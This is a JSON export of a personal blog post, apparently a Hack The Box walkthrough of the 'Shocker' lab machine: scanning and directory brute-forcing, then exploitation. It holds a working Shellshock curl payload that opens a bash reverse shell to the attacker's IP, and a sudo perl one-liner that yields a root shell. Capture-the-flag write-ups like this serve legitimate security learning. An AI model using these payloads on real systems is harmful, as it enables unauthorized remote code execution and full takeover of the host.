{"id":134,"date":"2026-01-21T23:33:19","date_gmt":"2026-01-21T23:33:19","guid":{"rendered":"https:\/\/patatties.nl\/?p=134"},"modified":"2026-02-01T14:44:58","modified_gmt":"2026-02-01T14:44:58","slug":"htb-shocker","status":"publish","type":"post","link":"https:\/\/patatties.nl\/?p=134","title":{"rendered":"HTB: Shocker"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"300\" height=\"300\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-59.png\" alt=\"\" class=\"wp-image-136\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-59.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-59-150x150.png 150w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"982\" height=\"80\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-58.png\" alt=\"\" class=\"wp-image-135\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-58.png 982w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-58-300x24.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-58-768x63.png 768w\" sizes=\"auto, (max-width: 982px) 100vw, 982px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Shocker is a linux box. not sure what to expect, but ping is running, and i&#8217;m starting up an nmap scan!<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(root\u327fkali)-&#91;\/usr\/share\/sharphound]\n\u2514\u2500# nmap -p- -sC -sV 10.129.6.206                  \nStarting Nmap 7.98 ( https:\/\/nmap.org ) at 2026-01-21 16:46 -0500\nNmap scan report for 10.129.6.206\nHost is up (0.0057s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT     STATE SERVICE VERSION\n80\/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))\n|_http-server-header: Apache\/2.4.18 (Ubuntu)\n|_http-title: Site doesn't have a title (text\/html).\n2222\/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)\n|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)\n|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 13.48 seconds<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">port 2222, probably just ssh, not much more. Lets see whats at the webserver!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Hm, doesnt seem to want to be bugged!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"646\" height=\"571\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-60.png\" alt=\"\" class=\"wp-image-137\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-60.png 646w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-60-300x265.png 300w\" sizes=\"auto, (max-width: 646px) 100vw, 646px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Nothing interesting at the source too. Maybe we should bust some dirs, see what more is out there.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(root\u327fkali)-&#91;\/usr\/share\/sharphound]\n\u2514\u2500# dirb http:\/\/10.129.6.206            \n\n-----------------\nDIRB v2.22    \nBy The Dark Raver\n-----------------\n\nSTART_TIME: Wed Jan 21 16:51:29 2026\nURL_BASE: http:\/\/10.129.6.206\/\nWORDLIST_FILES: \/usr\/share\/dirb\/wordlists\/common.txt\n\n-----------------\n\nGENERATED WORDS: 4612                                                          \n\n---- Scanning URL: http:\/\/10.129.6.206\/ ----\n+ http:\/\/10.129.6.206\/cgi-bin\/ (CODE:403|SIZE:295)                                                                            \n+ http:\/\/10.129.6.206\/index.html (CODE:200|SIZE:137)                                                                          \n+ http:\/\/10.129.6.206\/server-status (CODE:403|SIZE:300)                                                                       \n                                                                                                                              \n-----------------\nEND_TIME: Wed Jan 21 16:51:52 2026\nDOWNLOADED: 4612 - FOUND: 3<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\/cgi-bin huh? Interesting. Maybe that&#8217;s traversable? I capture the request in burp, and start screwing around.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"483\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-61-1024x483.png\" alt=\"\" class=\"wp-image-138\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-61-1024x483.png 1024w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-61-300x142.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-61-768x363.png 768w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-61.png 1108w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">No dice, not with encoding, not plain, nothing. At this difficulty machine i don&#8217;t think (sub) domain fuzzing is necessary. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">At this point we don&#8217;t have much to go on though, and after trying to find something in the picture we get using steghide and exif, i didn&#8217;t get anything yet. So maybe some more fuzzing is required. I start Dirbuster, and load up a bigger wordlist<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"776\" height=\"586\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-62.png\" alt=\"\" class=\"wp-image-139\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-62.png 776w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-62-300x227.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-62-768x580.png 768w\" sizes=\"auto, (max-width: 776px) 100vw, 776px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">No success still. Perhaps we need to focus on what we have, some know cgi-bin script.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Using my own (pretty *special*) way of searching the \/usr\/share directory i look if i have any wordlists cgi related, and there&#8217;s some wordlists!<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(root\u327fkali)-&#91;\/usr\/share]\n\u2514\u2500# find .\/ asd | grep cgi | grep wordlist\n.\/wfuzz\/wordlist\/vulns\/cgis.txt\nfind: \u2018asd\u2019: No such file or directory\n.\/dirb\/wordlists\/vulns\/cgis.txt\n                                  <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">no luck \ud83d\ude41<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">trying a vuln-scan with nmap to see if i missed something there.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">nmap -p 80 -sC -sV &#8211;script=vulners 10.129.6.206<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The interesting vulns i see are not applicable. All in this apacheserver, but not reachable from the access we have. <\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">I gotta say, and i feel kind a stupid, but after spraying wordlists till sunrise, i have no success with anything. <strong>&#8220;Try harder&#8221;<\/strong> sticks in the back of my mind. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"949\" height=\"198\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-63.png\" alt=\"\" class=\"wp-image-140\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-63.png 949w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-63-300x63.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-63-768x160.png 768w\" sizes=\"auto, (max-width: 949px) 100vw, 949px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">So i looked up a tip. Now i use tips more often if i get stuck, but even with the tips i try to get to the results organically. so i know i look for a specific wordlist, but for the love of god, i can&#8217;t find it.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Looking at the format its 4 letters\/numbers and probably a .pl extension. Without this insider knowledge, i would never have considered this approach. Oh well, here we go.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">crunch 4 4 0123456789abcdefghijklmnopqrstuvwxyz -o 4.txt<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This gives me a list of all the characters from 4 &#8211; 4 positions. Afterwards with nano i find regex and replace all sentence ends with .pl. This gives me the worlist i need.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"130\" height=\"513\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-64.png\" alt=\"\" class=\"wp-image-141\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-64.png 130w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-64-76x300.png 76w\" sizes=\"auto, (max-width: 130px) 100vw, 130px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Lets hope for the best!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">Okay, thats a cool couple of milion possibilities. Thats gonna take way too long to walk trough. I&#8217;m going to have a peek at a walktrough.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">Allrighty! Watched some ippsec (one of the GOAT). Apperently i should have simply tried a gobuster option for file extension. I should&#8217;ve known! Oh well, lesson learned! I&#8217;ll include this in my tools list!<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(root\u327fkali)-&#91;\/home\/kali\/htb\/shocker]\n\u2514\u2500# dirb http:\/\/10.129.6.206\/cgi-bin\/ -X .sh,.pl\n\n-----------------\nDIRB v2.22    \nBy The Dark Raver\n-----------------\n\nSTART_TIME: Wed Jan 21 18:31:45 2026\nURL_BASE: http:\/\/10.129.6.206\/cgi-bin\/\nWORDLIST_FILES: \/usr\/share\/dirb\/wordlists\/common.txt\nEXTENSIONS_LIST: (.sh,.pl) | (.sh)(.pl) &#91;NUM = 2]\n\n-----------------\n\nGENERATED WORDS: 4612                                                          \n\n---- Scanning URL: http:\/\/10.129.6.206\/cgi-bin\/ ----\n+ http:\/\/10.129.6.206\/cgi-bin\/user.sh (CODE:200|SIZE:118)                                                                     \n                                                                                                                              \n-----------------\nEND_TIME: Wed Jan 21 18:32:35 2026\nDOWNLOADED: 9224 - FOUND: 1<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Gotcha! user.sh!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For now it&#8217;s late. I&#8217;m gonna pick back up here tomorrow.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">So user.sh, what does it do. Loading the page it seems that it outputs every once in a while with  the uptime command.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Googling around a bit to user.sh and exploit points me to shellshock. To be honest, i was just trying a payload i found somewhere else, and it immediately worked.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -H \"user-agent: () { :; }; echo; echo; \/bin\/bash -c 'bash -i >&amp; \/dev\/tcp\/10.10.15.104\/4444 0>&amp;1'\" http:\/\/10.129.14.137\/cgi-bin\/user.sh<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">simply adjusting the user agent this way, it made it possible to set up the reverse shell.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"694\" height=\"182\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-66.png\" alt=\"\" class=\"wp-image-151\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-66.png 694w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-66-300x79.png 300w\" sizes=\"auto, (max-width: 694px) 100vw, 694px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">this gave me the user flag too.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we can see how we get privileges, and this is not hard. Checking with sudo -l to see what we can run as root, we see that we can run perl as root, no password.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"698\" height=\"144\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-67.png\" alt=\"\" class=\"wp-image-152\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-67.png 698w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-67-300x62.png 300w\" sizes=\"auto, (max-width: 698px) 100vw, 698px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Given that Perl is its own execution engine, we can try running a script as root.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It can be done easier though! Looking at GTFO bins (<a href=\"https:\/\/gtfobins.org\/gtfobins\/perl\/#reverse-shell\">https:\/\/gtfobins.org\/gtfobins\/perl\/#reverse-shell<\/a>), we can see that we can get a shell simply by running:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>shelly@Shocker:\/home\/shelly\/.ssh$ sudo perl -e 'exec \"\/bin\/sh\"'\nsudo perl -e 'exec \"\/bin\/sh\"'\n\n\nid\nuid=0(root) gid=0(root) groups=0(root)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now that we are root, we can get the flag!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">I don&#8217;t really like this box, but that&#8217;s because i didnt find the most important piece for hours. I learned that i should do more fuzzing on file extensions.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After that it was really easy.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Shocker is a linux box. not sure what to expect, but ping is running, and i&#8217;m starting up an nmap scan! port 2222, probably just ssh, not much more. Lets see whats at the webserver! Hm, doesnt seem to want to be bugged! Nothing interesting at the source too. Maybe we should bust some dirs, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-134","post","type-post","status-publish","format-standard","hentry","category-htb"],"_links":{"self":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/134","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=134"}],"version-history":[{"count":3,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/134\/revisions"}],"predecessor-version":[{"id":153,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/134\/revisions\/153"}],"wp:attachment":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=134"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=134"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=134"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}